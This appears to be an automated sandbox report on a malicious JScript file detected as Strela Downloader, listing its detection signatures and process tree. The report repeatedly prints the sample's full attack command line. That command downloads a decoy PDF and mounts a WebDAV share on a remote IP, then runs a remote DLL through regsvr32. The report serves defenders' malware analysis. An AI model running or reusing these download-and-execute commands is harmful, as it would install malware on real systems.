Edit tour

Windows Analysis Report
251011677249918058.js

Overview

General Information

Sample name:	251011677249918058.js
Analysis ID:	1587577
MD5:	8ed7c064a0ecd97bd61865c36cd052d8
SHA1:	12c3fe3b6c07d3b3194a3286bb1b33f985eb7e32
SHA256:	1f642696406725d0881add716aebb996e8305e86c4ac9df8c019b9ec0058d780
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6832 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251011677249918058.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3872 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 824 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3992 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5676 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7204 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1596,i,5625077629047493174,4012142111015455461,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1720 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4136 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4476 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6832	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3872, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 824, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3872, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 824, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251011677249918058.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251011677249918058.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251011677249918058.js", ProcessId: 6832, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251011677249918058.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6832, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, ProcessId: 3872, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251011677249918058.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6832, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, ProcessId: 3872, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251011677249918058.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6832, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, ProcessId: 3872, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251011677249918058.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6832, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, ProcessId: 3872, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251011677249918058.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6832, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, ProcessId: 3872, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251011677249918058.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251011677249918058.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251011677249918058.js", ProcessId: 6832, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3872, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 824, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1720, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4136, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4476, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1720, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4136, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251011677249918058.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6832, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll, ProcessId: 3872, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 251011677249918058.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 251011677249918058.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000002.1793624020.000002A301F2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1847937828.000001D72DE63000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1847015212.000001D72DE63000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1847777974.000001D72DE28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1847015212.000001D72DE4C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1847937828.000001D72DE4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1847937828.000001D72DE63000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1847015212.000001D72DE63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/=T7
Source: net.exe, 00000006.00000002.1847937828.000001D72DE63000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1847015212.000001D72DE63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/YT
Source: net.exe, 00000006.00000002.1847937828.000001D72DE63000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1847015212.000001D72DE63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: net.exe, 00000006.00000002.1847777974.000001D72DE28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sms
Source: svchost.exe, 00000008.00000002.3080750578.0000023166000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1855279777.0000023165E88000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1855279777.0000023165E88000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1855279777.0000023165E88000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1855279777.0000023165EBD000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1855279777.0000023165F32000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1855279777.0000023165F32000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1855279777.0000023165F32000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6832, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
